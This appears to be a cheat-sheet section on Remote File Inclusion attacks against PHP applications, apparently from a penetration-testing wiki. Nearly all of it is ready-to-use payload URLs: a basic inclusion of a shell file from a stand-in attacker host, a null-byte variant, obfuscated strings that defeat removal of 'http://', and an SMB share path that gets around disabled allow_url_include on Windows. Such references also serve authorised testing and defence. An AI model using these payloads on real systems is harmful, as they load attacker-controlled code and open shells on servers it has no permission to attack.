RFI
Most filter bypassing techniques for LFI can be used for RFI.
Basic RFI
http://example.com/index.php?page=http://example.evil/shell.txt
Null Byte
http://example.com/index.php?page=http://example.evil/shell.txt%00
Bypass http(s):// removal
hhttp://thttp://thttp://phttp://:http://http:///http:///
hhttps://thttps://thttps://phttps://shttps://:https:///https:///https://
Bypass allow_url_include
On Windows, it is possible to bypass disabled allow_url_include and allow_url_fopen by using SMB. Simply including a script located in an open share.
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
Last updated